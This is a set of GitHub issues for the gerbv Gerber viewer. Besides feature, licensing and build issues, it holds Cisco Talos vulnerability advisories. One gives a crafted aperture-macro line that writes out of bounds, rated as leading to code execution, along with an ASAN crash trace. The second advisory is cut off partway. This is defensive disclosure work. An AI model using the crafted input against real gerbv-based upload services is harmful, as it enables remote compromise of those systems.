Older versions of gerbv (<2.7.0) had a feature to manually realign layers. It was accessible by right-clicking on a layer name and then choosing "Modify orientation" in the context menu. This brought up a dialog which allowed you to shift and scale the current layer by arbitrary numbers.

You can see screenshots and a description of the feature for example here: https://docs.oshpark.com/design-tools/gerbv/modify-orientation/

Current versions (2.7.0 to 2.8.2) don't have this anymore. There is now a "Align layers" menu options in the Edit menu. But it doesn't always work (sometimes gives me "Can't align by this type of object") and I prefer to being able to manually tune the alignment anyways.

Thanks.

Add TinyScheme copyright notice

Gerbv bundles parts of TinyScheme

Despite the comment in init.scm all files seem to be from TinyScheme 1.35, not 1.34.

In order to honor the copyright terms, the following notice should be included in both the repository as well as the released binaries.

                         LICENSE TERMS

Copyright (c) 2000, Dimitrios Souflis
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:

Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.

Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.

Neither the name of Dimitrios Souflis nor the names of the
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR 
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

TALOS Security Advisory for Gerbv (TALOS-2021-1402)

Hello,
The Cisco Talos team found a security vulnerability affecting Gerbv products. As this is a sensitive security issue, please advise if you can mark the issue private in Github before we include the details of the report.

For further information about the Cisco Vendor Vulnerability Reporting and Disclosure Policy please refer to this document which also links to our public PGP key. https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html Please CC [email protected] all correspondence related to this issue.

Gerbv RS-274X format aperture macro variables out-of-bounds write vulnerability (TALOS-2021-1404)

TALOS-2021-1404
CVE-2021-40393

Gerbv RS-274X format aperture macro variables out-of-bounds write vulnerability

Summary

An out-of-bounds write vulnerability exists in the RS-274X aperture macro variables handling functionality of Gerbv 2.7.0 and dev (commit b5f1eac). A specially-crafted gerber file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

Tested Versions

Gerbv 2.7.0
Gerbv dev (commit b5f1eac)
Gerbv forked dev (commit 7149326)

Product URLs

https://sourceforge.net/projects/gerbv/

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Details

Gerbv is an open-source software that allows to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the -x switch (export). For this reason, we consider this software as reachable via network without user interaction or privilege requirements.

Gerbv uses the function gerbv_open_image to open files. In this advisory we're interested in the RS-274X file-type.

int
gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
{
    ...        
    dprintf("In open_image, about to try opening filename = %s\n", filename);
    
    fd = gerb_fopen(filename);
    if (fd == NULL) {
        GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                        filename, strerror(errno));
        return -1;
    }
    ...
    if (gerber_is_rs274x_p(fd, &foundBinary)) {                                 // [1]
        dprintf("Found RS-274X file\n");
        if (!foundBinary || forceLoadFile) {
                /* figure out the directory path in case parse_gerb needs to
                 * load any include files */
                gchar *currentLoadDirectory = g_path_get_dirname (filename);
                parsed_image = parse_gerb(fd, currentLoadDirectory);            // [2]
                g_free (currentLoadDirectory);
        }
    }
    ...

A file is considered of type "RS-274X" if the function gerber_is_rs274x_p [1] returns true. When true, the parse_gerb is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an RS-274X file:

gboolean
gerber_is_rs274x_p(gerb_file_t *fd, gboolean *returnFoundBinary) 
{
    ...
    while (fgets(buf, MAXL, fd->fd) != NULL) {
        dprintf ("buf = \"%s\"\n", buf);
        len = strlen(buf);
    
        /* First look through the file for indications of its type by
         * checking that file is not binary (non-printing chars and white 
         * spaces)
         */
        for (i = 0; i < len; i++) {                                             // [3]
            if (!isprint((int) buf[i]) && (buf[i] != '\r') && 
                (buf[i] != '\n') && (buf[i] != '\t')) {
                found_binary = TRUE;
                dprintf ("found_binary (%d)\n", buf[i]);
            }
        }
        if (g_strstr_len(buf, len, "%ADD")) {
            found_ADD = TRUE;
            dprintf ("found_ADD\n");
        }
        if (g_strstr_len(buf, len, "D00") || g_strstr_len(buf, len, "D0")) {
            found_D0 = TRUE;
            dprintf ("found_D0\n");
        }
        if (g_strstr_len(buf, len, "D02") || g_strstr_len(buf, len, "D2")) {
            found_D2 = TRUE;
            dprintf ("found_D2\n");
        }
        if (g_strstr_len(buf, len, "M00") || g_strstr_len(buf, len, "M0")) {
            found_M0 = TRUE;
            dprintf ("found_M0\n");
        }
        if (g_strstr_len(buf, len, "M02") || g_strstr_len(buf, len, "M2")) {
            found_M2 = TRUE;
            dprintf ("found_M2\n");
        }
        if (g_strstr_len(buf, len, "*")) {
            found_star = TRUE;
            dprintf ("found_star\n");
        }
        /* look for X<number> or Y<number> */
        if ((letter = g_strstr_len(buf, len, "X")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after X */
                found_X = TRUE;
                dprintf ("found_X\n");
            }
        }
        if ((letter = g_strstr_len(buf, len, "Y")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after Y */
                found_Y = TRUE;
                dprintf ("found_Y\n");
            }
        }
    }
    ...
    /* Now form logical expression determining if the file is RS-274X */
    if ((found_D0 || found_D2 || found_M0 || found_M2) &&                     // [4]
        found_ADD && found_star && (found_X || found_Y)) 
        return TRUE;
    
    return FALSE;

} /* gerber_is_rs274x */

For an input to be considered an RS-274X file, the file must first of all contain only printing characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal RS-274X file is the following:

%FSLAX26Y26*%
%MOMM*%
%ADD100C,1.5*%
D100*
X0Y0D03*
M02*

Even though not important for the purposes of the vulnerability itself, note that the checks use g_strstr_len, so all those fields can be found anywhere in the file. For example, this file is also recognized as an RS-274X file, even though it will fail later checks in the execution flow:

%ADD0X0*

After an RS-274X file has been recognized, parse_gerb is called, which in turn calls gerber_parse_file_segment:

gboolean
gerber_parse_file_segment (gint levelOfRecursion, gerbv_image_t *image, 
                           gerb_state_t *state,        gerbv_net_t *curr_net, 
                           gerbv_stats_t *stats, gerb_file_t *fd, 
                           gchar *directoryPath)
{
    ...
    while ((read = gerb_fgetc(fd)) != EOF) {
        ...
        case '%':
            dprintf("... Found %% code at line %ld\n", line_num);
            while (1) {
                    parse_rs274x(levelOfRecursion, fd, image, state, curr_net,
                                stats, directoryPath, &line_num);

If our file starts with "%", we end up calling parse_rs274x:

static void 
parse_rs274x(gint levelOfRecursion, gerb_file_t *fd, gerbv_image_t *image, 
             gerb_state_t *state, gerbv_net_t *curr_net, gerbv_stats_t *stats, 
             gchar *directoryPath, long int *line_num_p)
{
    ...
    switch (A2I(op[0], op[1])){
    ...
    case A2I('A','D'): /* Aperture Description */
        a = (gerbv_aperture_t *) g_new0 (gerbv_aperture_t,1);

        ano = parse_aperture_definition(fd, a, image, scale, line_num_p); // [6]
        ...
        break;
    case A2I('A','M'): /* Aperture Macro */
        tmp_amacro = image->amacro;
        image->amacro = parse_aperture_macro(fd);                         // [5]
        if (image->amacro) {
            image->amacro->next = tmp_amacro;
        ...

For this advisory, we're interested in the AM and AD commands. For details on the Gerber format see the specification from Ucamco.

In summary, AM defines a "macro aperture template", which is, in other terms, a parametrized shape. It is a flexible way to define arbitrary shapes by building on top of simpler shapes (primitives). It allows to perform arithmetic operations and define variables. After a template has been defined, the AD command is used to instantiate such template and optionally passing some parameters to customize the shape.

From the specification, this is the syntax of the AM command:

<AM command>          = AM<Aperture macro name>*<Macro content>
<Macro content>       = {{<Variable definition>*}{<Primitive>*}}
<Variable definition> = $K=<Arithmetic expression>
<Primitive>           = <Primitive code>,<Modifier>{,<Modifier>}|<Comment>
<Modifier>            = $M|< Arithmetic expression>
<Comment>             = 0 <Text>

While this is the syntax for the AD command:

<AD command> = ADD<D-code number><Template>[,<Modifiers set>]*
<Modifiers set> = <Modifier>{X<Modifier>}

In the parse_rs274x function, when an AM command is found, the function parse_aperture_macro is called [5]:

gerbv_amacro_t *
parse_aperture_macro(gerb_file_t *fd)
{
    gerbv_amacro_t *amacro;
    gerbv_instruction_t *ip = NULL;
    int primitive = 0, c, found_primitive = 0;
    ...
    int equate = 0;

    amacro = new_amacro();

    ...        
    /*
     * Since I'm lazy I have a dummy head. Therefore the first 
     * instruction in all programs will be NOP.
     */
    amacro->program = new_instruction();
    ip = amacro->program;
    
    while(continueLoop) {
        
        c = gerb_fgetc(fd);
        switch (c) {
        case '$':                                                              // [7]
            if (found_primitive) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                ip->opcode = GERBV_OPCODE_PPUSH;
                amacro->nuf_push++;
                ip->data.ival = gerb_fgetint(fd, NULL);
                comma = 0;
            } else {
                equate = gerb_fgetint(fd, NULL);
            }
            break;
        case '*':
            while (!MATH_OP_EMPTY) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                ip->opcode = MATH_OP_POP;
            }
            /*
             * Check is due to some gerber files has spurious empty lines.
             * (EagleCad of course).
             */
            if (found_primitive) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                if (equate) {
                    ip->opcode = GERBV_OPCODE_PPOP;                           // [8]
                    ip->data.ival = equate;
                } else {
                    ip->opcode = GERBV_OPCODE_PRIM;
                    ip->data.ival = primitive;
                }
                equate = 0;
                primitive = 0;
                found_primitive = 0;
            }
            break;
        case '=':
            if (equate) {
                found_primitive = 1;
            }
            break;
        case ',':
            if (!found_primitive) {
                found_primitive = 1;
                break;
            }
            while (!MATH_OP_EMPTY) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                ip->opcode = MATH_OP_POP;
            }
            comma = 1;
            break;
        case '+':
            while ((!MATH_OP_EMPTY) &&
                   (math_op_prec(MATH_OP_TOP) >= math_op_prec(GERBV_OPCODE_ADD))) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                ip->opcode = MATH_OP_POP;
            }
            MATH_OP_PUSH(GERBV_OPCODE_ADD);
            comma = 1;
            break;
        case '-':
            if (comma) {
                neg = 1;
                comma = 0;
                break;
            }
            while((!MATH_OP_EMPTY) &&
                  (math_op_prec(MATH_OP_TOP) >= math_op_prec(GERBV_OPCODE_SUB))) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                ip->opcode = MATH_OP_POP;
            }
            MATH_OP_PUSH(GERBV_OPCODE_SUB);
            break;
        ...
        case '1':
        case '2':
        case '3':
        case '4':
        case '5':
        case '6':
        case '7':
        case '8':
        case '9':
        case '.':
            /* 
             * First number in an aperture macro describes the primitive
             * as a numerical value
             */
            if (!found_primitive) {
                primitive = (primitive * 10) + (c - '0');
                break;
            }
            (void)gerb_ungetc(fd);
            ip->next = new_instruction(); /* XXX Check return value */
            ip = ip->next;
            ip->opcode = GERBV_OPCODE_PUSH;
            amacro->nuf_push++;
            ip->data.fval = gerb_fgetdouble(fd);
            if (neg) 
                ip->data.fval = -ip->data.fval;
            neg = 0;
            comma = 0;
            break;
        case '%':
            gerb_ungetc(fd);  /* Must return with % first in string
                                 since the main parser needs it */
            return amacro;                                                    // [9]
        default :
            /* Whitespace */
            break;
        }
        if (c == EOF) {
            continueLoop = 0;
        }
    }
    free (amacro);
    return NULL;
}

As we can see this function implements a set of opcodes for a virtual machine that is used to perform the arithmetic operations and handle variable definitions and references (see GERBV_OPCODE_PPUSH [7] and GERBV_OPCODE_PPOP [8]) via a virtual stack.
The macro is parsed and returned when a % is found. For reference, these are the prototype for the macro and the program instructions:

struct amacro {
    gchar *name;
    gerbv_instruction_t *program;
    unsigned int nuf_push;
    struct amacro *next;
}

struct instruction {
    gerbv_opcodes_t opcode;
    union {
        int ival;
        float fval;
    } data;
    struct instruction *next;
}

Back to parse_rs274x, when an AD command is found, the function parse_aperture_definition is called [6], which in turn calls simplify_aperture_macro when the AD command is using a template:

static int
simplify_aperture_macro(gerbv_aperture_t *aperture, gdouble scale)
{
    ...
    gerbv_instruction_t *ip;
    int handled = 1, nuf_parameters = 0, i, j, clearOperatorUsed = FALSE;
    double *lp; /* Local copy of parameters */
    double tmp[2] = {0.0, 0.0};
    ...
    /* Allocate stack for VM */
    s = new_stack(aperture->amacro->nuf_push + extra_stack_size);                // [10]
    if (s == NULL) 
        GERB_FATAL_ERROR("malloc stack failed in %s()", __FUNCTION__);

    /* Make a copy of the parameter list that we can rewrite if necessary */
    lp = g_new (double,APERTURE_PARAMETERS_MAX);                                 // [11]

    memcpy(lp, aperture->parameter, sizeof(double) * APERTURE_PARAMETERS_MAX);
    
    for(ip = aperture->amacro->program; ip != NULL; ip = ip->next) {
        switch(ip->opcode) {
        case GERBV_OPCODE_NOP:
            break;
        case GERBV_OPCODE_PUSH :
            push(s, ip->data.fval);
            break;
        case GERBV_OPCODE_PPUSH :                      // [12]
            push(s, lp[ip->data.ival - 1]);
            break;
        case GERBV_OPCODE_PPOP:
            if (pop(s, &tmp[0]) < 0)                   // [13]
                GERB_FATAL_ERROR(_("Tried to pop an empty stack"));
            lp[ip->data.ival - 1] = tmp[0];            // [14]
            break;
        case GERBV_OPCODE_ADD :
            if (pop(s, &tmp[0]) < 0)
                GERB_FATAL_ERROR(_("Tried to pop an empty stack"));
            if (pop(s, &tmp[1]) < 0)
                GERB_FATAL_ERROR(_("Tried to pop an empty stack"));
            push(s, tmp[1] + tmp[0]);
            break;
        case GERBV_OPCODE_SUB :
            if (pop(s, &tmp[0]) < 0)
                GERB_FATAL_ERROR(_("Tried to pop an empty stack"));
            if (pop(s, &tmp[1]) < 0)
                GERB_FATAL_ERROR(_("Tried to pop an empty stack"));
            push(s, tmp[1] - tmp[0]);
            break;

For AD to use the template, it has to execute the template in the virtual machine. To this end, a virtual stack is allocated at [10] and a list of parameters is allocated at [11], used to keep the variables' state. Note that in Gerber's specification variable names are simply numbers, so Gerbv uses the variable number also as an index in the lp array.

Recall at [7] the GERBV_OPCODE_PPUSH opcode is the one used to reference variables via the $ character, for example $1 references variable 1. We can see at [12] that whenever a variable is referenced for usage it's pushed to the virtual stack.
At [8] the variable assignment case is handled by checking that a = is used and that a primitive is found.

As we can see there are no bounds checks to make sure that the lp array accesses happen within bounds, so it is possible to define a variable assignment for any variable name (number) that would write out of bounds at [14], leading to arbitrary code execution. In a similar fashion, the code at [12] allows to read arbitrary data within the process memory.

An example of such assignment with a negative variable name would be:

%AMX0*$-100000000=352943162147351756800*%

This defines a macro template of name X0, and assigns the value 352943162147351756800 to a variable named -100000000. 352943162147351756800 is IEEE754-encoded as bytes 0000000011223344 in memory (since pushed/popped primitives' parameters are always handled as a double) so the assignment above is writing 0000000011223344 to the address lp-100000000*8.

Finally, note that because of lax parsing of template macros, the following template would achieve the same result:

%AMX0*$-100000000,352943162147351756800=*%

Crash Information

# gerbv -x png -o out simplify_aperture_macro.poc
ASAN:DEADLYSIGNAL
=================================================================
==5293==ERROR: AddressSanitizer: SEGV on unknown address 0xc2813078 (pc 0xf7961675 bp 0xffa3a1b8 sp 0xffa3a0e0 T0)
==5293==The signal is caused by a WRITE memory access.
    #0 0xf7961674 in simplify_aperture_macro src/gerber.c:1944
    #1 0xf7963b26 in parse_aperture_definition src/gerber.c:2272
    #2 0xf795e5b8 in parse_rs274x src/gerber.c:1637
    #3 0xf7951ad8 in gerber_parse_file_segment src/gerber.c:243
    #4 0xf7957660 in parse_gerb src/gerber.c:768
    #5 0xf796d690 in gerbv_open_image src/gerbv.c:526
    #6 0xf796b03d in gerbv_open_layer_from_filename_with_color src/gerbv.c:249
    #7 0x565bdcab in main src/main.c:929
    #8 0xf6b6cf20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    #9 0x5657bc10  (gerbv+0x12c10)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/gerber.c:1944 in simplify_aperture_macro
==5293==ABORTING

Credit

Discovered by Claudio Bozzato of Cisco Talos.

https://talosintelligence.com/vulnerability_reports/

Timeline

2021-11-03 - Vendor Disclosure
None - Public Release

TALOS-2021-1404 - Gerbv_RS-274X_format_aperture_macro_variables_out-of-bounds_write_vulnerability.txt

Add valgrind to CI

Adding valgrind to the CI run will help detect invalid memory operations. It might also be useful for catching errors like in #30 .

Valgrind should be downloaded and built as part of CI. We can use caching to save time on the building.

Proposal to release main as 2.8.0

In my opinion we have plenty of benefits in main over 2.7.x to justify a release of 2.8.0. Delaying a release will only increase the time our users have to wait before distributions pick up those changes.

The reason why I'm arguing for 2.8.0 instead of 2.7.2 is to signify the change of development from SourceForge to GitHub.

I will prepare a release but not distribute it before I have heard your opinions.

Unify header include guards

libgerbv currently uses multiple different styles of include guards:

  • Invalid: Include guards like __COMMON_H__ which collide with reserved identifiers (7.1.3)
  • Name-Clash: Short include guard defines like CSV_H which might collide with other projects, since they don't use a project prefix
  • Missing: No include guard present, which might lead to redefinitions
  • Prefixed: Include guards like GERBV_LAYERTYPE_PICKANDPLACE_H which are both valid identifiers and do not risk collission with other projects
  • Vendored: Header copied from or generated by third party

I propose to add prefixed include guards (like GERBV_CSV_H) to all headers unless they are vendored

Pros

  • No risk of include guard collissions due to project specific prefix
  • No risk of redefinitions due to missing include guards
  • No risk of unexpected behaviour since we are not using reserved identifiers

Cons

  • We change the defined symbols, which might break source compatibility for very fragile users

Alternatives

We could use #pragma once instead, which is supported by all platforms we care about. Nevertheless I would refrain from using a non standard feature.

Overview

Header Include guard Category
amacro.h AMACRO_H Name-Clash
attribute.h ATTRIBUTE_H Name-Clash
callbacks.h Missing Missing
common.h __COMMON_H__ Invalid
csv_defines.h DEFINES_H Name-Clash
csv.h CSV_H Name-Clash
draw-gdk.h DRAW_GDK_H Name-Clash
draw.h DRAW_H Name-Clash
drill.h DRILL_H Name-Clash
drill_stats.h DRILL_STATS_H Name-Clash
dynload.h DYNLOAD_H Name-Clash
gerber.h GERBER_H Name-Clash
gerb_file.h GERB_FILE_H Name-Clash
gerb_image.h GERB_IMAGE_H Name-Clash
gerb_stats.h gerb_stats_H Name-Clash
gerbv.h __GERBV_H__ Invalid
gerbv_icon.h Missing Vendored
gettext.h _LIBGETTEXT_H Vendored
icons.h Missing Vendored
interface.h Missing Missing
lrealpath.h __LREALPATH_H__ Invalid
main.h MAIN_H Name-Clash
opdefines.h Missing Missing
pick-and-place.h GERBV_LAYERTYPE_PICKANDPLACE_H Prefixed
project.h PROJECT_H Name-Clash
render.h Missing Missing
scheme.h _SCHEME_H Invalid
scheme-private.h _SCHEME_PRIVATE_H Invalid
selection.h Missing Missing
table.h TABLE_H Name-Clash

Remove all compile-time warnings in GCC

There are a few. To see them, run:

./configure

Then go into each Makefile and modify the compilation so that all warnings are treated as errors. You can search the Makefile for -O and add -Werror on to the line. Then run make. The compile will fail.

Here are two errors:

interface.c: In function ‘interface_create_gui’:
interface.c:340:2: error: ‘gdk_pixbuf_new_from_inline’ is deprecated [-Werror=deprecated-declarations]
  pointerpixbuf = gdk_pixbuf_new_from_inline(-1, pointer, FALSE, NULL);
  ^~~~~~~~~~~~~
In file included from /usr/include/gdk-pixbuf-2.0/gdk-pixbuf/gdk-pixbuf.h:34,
                 from /usr/include/gtk-2.0/gdk/gdkpixbuf.h:37,
                 from /usr/include/gtk-2.0/gdk/gdkcairo.h:28,
                 from /usr/include/gtk-2.0/gdk/gdk.h:33,
                 from /usr/include/gtk-2.0/gtk/gtk.h:32,
                 from gerbv.h:73,
                 from interface.c:29:
/usr/include/gdk-pixbuf-2.0/gdk-pixbuf/gdk-pixbuf-core.h:362:12: note: declared here
 GdkPixbuf* gdk_pixbuf_new_from_inline (gint          data_length,
gerb_file.c: In function ‘gerb_find_file’:
gerb_file.c:323:4: error: ‘strncat’ output truncated before terminating nul copying as many bytes from a string as its length [-Werror=stringop-truncation]
    strncat(complete_path, filename, strlen(filename));
    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cc1: all warnings being treated as errors

./run_test fails on Unix

To reproduce, make and install the code and then:

cd test
./run_tests.sh

I'm seeing this result:

Passed 67, failed 23, skipped 0 out of 90 tests.

I'll start with a git bisect to see where it was introduced.

Gerbv RS-274X aperture macro outline primitive integer overflow vulnerability (TALOS-2021-1405)

TALOS-2021-1405
CVE-2021-40394

Gerbv RS-274X aperture macro outline primitive integer overflow vulnerability

Summary

An integer overflow vulnerability exists in the RS-274X aperture macro outline primitive functionality of Gerbv 2.7.0 and dev (commit b5f1eac). A specially-crafted gerber file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

Tested Versions

Gerbv 2.7.0
Gerbv dev (commit b5f1eac)
Gerbv forked dev (commit 7149326)

Product URLs

https://sourceforge.net/projects/gerbv/

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-190 - Integer Overflow or Wraparound

Details

Gerbv is an open-source software that allows to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the -x switch (export). For this reason, we consider this software as reachable via network without user interaction or privilege requirements.

Gerbv uses the function gerbv_open_image to open files. In this advisory we're interested in the RS-274X file-type.

int
gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
{
    ...        
    dprintf("In open_image, about to try opening filename = %s\n", filename);
    
    fd = gerb_fopen(filename);
    if (fd == NULL) {
        GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                        filename, strerror(errno));
        return -1;
    }
    ...
    if (gerber_is_rs274x_p(fd, &foundBinary)) {                                 // [1]
        dprintf("Found RS-274X file\n");
        if (!foundBinary || forceLoadFile) {
                /* figure out the directory path in case parse_gerb needs to
                 * load any include files */
                gchar *currentLoadDirectory = g_path_get_dirname (filename);
                parsed_image = parse_gerb(fd, currentLoadDirectory);            // [2]
                g_free (currentLoadDirectory);
        }
    }
    ...

A file is considered of type "RS-274X" if the function gerber_is_rs274x_p [1] returns true. When true, the parse_gerb is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an RS-274X file:

gboolean
gerber_is_rs274x_p(gerb_file_t *fd, gboolean *returnFoundBinary) 
{
    ...
    while (fgets(buf, MAXL, fd->fd) != NULL) {
        dprintf ("buf = \"%s\"\n", buf);
        len = strlen(buf);
    
        /* First look through the file for indications of its type by
         * checking that file is not binary (non-printing chars and white 
         * spaces)
         */
        for (i = 0; i < len; i++) {                                             // [3]
            if (!isprint((int) buf[i]) && (buf[i] != '\r') && 
                (buf[i] != '\n') && (buf[i] != '\t')) {
                found_binary = TRUE;
                dprintf ("found_binary (%d)\n", buf[i]);
            }
        }
        if (g_strstr_len(buf, len, "%ADD")) {
            found_ADD = TRUE;
            dprintf ("found_ADD\n");
        }
        if (g_strstr_len(buf, len, "D00") || g_strstr_len(buf, len, "D0")) {
            found_D0 = TRUE;
            dprintf ("found_D0\n");
        }
        if (g_strstr_len(buf, len, "D02") || g_strstr_len(buf, len, "D2")) {
            found_D2 = TRUE;
            dprintf ("found_D2\n");
        }
        if (g_strstr_len(buf, len, "M00") || g_strstr_len(buf, len, "M0")) {
            found_M0 = TRUE;
            dprintf ("found_M0\n");
        }
        if (g_strstr_len(buf, len, "M02") || g_strstr_len(buf, len, "M2")) {
            found_M2 = TRUE;
            dprintf ("found_M2\n");
        }
        if (g_strstr_len(buf, len, "*")) {
            found_star = TRUE;
            dprintf ("found_star\n");
        }
        /* look for X<number> or Y<number> */
        if ((letter = g_strstr_len(buf, len, "X")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after X */
                found_X = TRUE;
                dprintf ("found_X\n");
            }
        }
        if ((letter = g_strstr_len(buf, len, "Y")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after Y */
                found_Y = TRUE;
                dprintf ("found_Y\n");
            }
        }
    }
    ...
    /* Now form logical expression determining if the file is RS-274X */
    if ((found_D0 || found_D2 || found_M0 || found_M2) &&                     // [4]
        found_ADD && found_star && (found_X || found_Y)) 
        return TRUE;
    
    return FALSE;

} /* gerber_is_rs274x */

For an input to be considered an RS-274X file, the file must first of all contain only printing characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal RS-274X file is the following:

%FSLAX26Y26*%
%MOMM*%
%ADD100C,1.5*%
D100*
X0Y0D03*
M02*

Even though not important for the purposes of the vulnerability itself, note that the checks use g_strstr_len, so all those fields can be found anywhere in the file. For example, this file is also recognized as an RS-274X file, even though it will fail later checks in the execution flow:

%ADD0X0*

After an RS-274X file has been recognized, parse_gerb is called, which in turn calls gerber_parse_file_segment:

gboolean
gerber_parse_file_segment (gint levelOfRecursion, gerbv_image_t *image, 
                           gerb_state_t *state,        gerbv_net_t *curr_net, 
                           gerbv_stats_t *stats, gerb_file_t *fd, 
                           gchar *directoryPath)
{
    ...
    while ((read = gerb_fgetc(fd)) != EOF) {
        ...
        case '%':
            dprintf("... Found %% code at line %ld\n", line_num);
            while (1) {
                    parse_rs274x(levelOfRecursion, fd, image, state, curr_net,
                                stats, directoryPath, &line_num);

If our file starts with "%", we end up calling parse_rs274x:

static void 
parse_rs274x(gint levelOfRecursion, gerb_file_t *fd, gerbv_image_t *image, 
             gerb_state_t *state, gerbv_net_t *curr_net, gerbv_stats_t *stats, 
             gchar *directoryPath, long int *line_num_p)
{
    ...
    switch (A2I(op[0], op[1])){
    ...
    case A2I('A','D'): /* Aperture Description */
        a = (gerbv_aperture_t *) g_new0 (gerbv_aperture_t,1);

        ano = parse_aperture_definition(fd, a, image, scale, line_num_p); // [6]
        ...
        break;
    case A2I('A','M'): /* Aperture Macro */
        tmp_amacro = image->amacro;
        image->amacro = parse_aperture_macro(fd);                         // [5]
        if (image->amacro) {
            image->amacro->next = tmp_amacro;
        ...

For this advisory, we're interested in the AM and AD commands. For details on the Gerber format see the specification from Ucamco.

In summary, AM defines a "macro aperture template", which is, in other terms, a parametrized shape. It is a flexible way to define arbitrary shapes by building on top of simpler shapes (primitives). It allows to perform arithmetic operations and define variables. After a template has been defined, the AD command is used to instantiate such template and optionally passing some parameters to customize the shape.

From the specification, this is the syntax of the AM command:

<AM command>          = AM<Aperture macro name>*<Macro content>
<Macro content>       = {{<Variable definition>*}{<Primitive>*}}
<Variable definition> = $K=<Arithmetic expression>
<Primitive>           = <Primitive code>,<Modifier>{,<Modifier>}|<Comment>
<Modifier>            = $M|< Arithmetic expression>
<Comment>             = 0 <Text>

While this is the syntax for the AD command:

<AD command> = ADD<D-code number><Template>[,<Modifiers set>]*
<Modifiers set> = <Modifier>{X<Modifier>}

For this advisory, we're interested in the "Outline" primitive (code 4). From the specification:

An outline primitive is an area defined by its outline or contour. The outline is a polygon,
consisting of linear segments only, defined by its start vertex and n subsequent vertices.

The outline primitive should contain the following fields:

+-----------------+----------------------------------------------------------------------------------------+
| Modifier number | Description                                                                            |
+-----------------+----------------------------------------------------------------------------------------+
| 1               | Exposure off/on (0/1)                                                                  |
+-----------------+----------------------------------------------------------------------------------------+
| 2               | The number of vertices of the outline = the number of coordinate pairs minus one.      |
|                 | An integer ≥3.                                                                         |
+-----------------+----------------------------------------------------------------------------------------+
| 3, 4            | Start point X and Y coordinates. Decimals.                                             |
+-----------------+----------------------------------------------------------------------------------------+
| 5, 6            | First subsequent X and Y coordinates. Decimals.                                        |
+-----------------+----------------------------------------------------------------------------------------+
| ...             | Further subsequent X and Y coordinates. Decimals.                                      |
|                 | The X and Y coordinates are not modal: both X and Y must be specified for all points.  |
+-----------------+----------------------------------------------------------------------------------------+
| 3+2n, 4+2n      | Last subsequent X and Y coordinates. Decimals. Must be equal to the start coordinates. |
+-----------------+----------------------------------------------------------------------------------------+
| 5+2n            | Rotation angle, in degrees counterclockwise, a decimal.                                |
|                 | The primitive is rotated around the origin of the macro definition,                    |
|                 | i.e. the (0, 0) point of macro                                                         |
+----------------------------------------------------------------------------------------------------------+

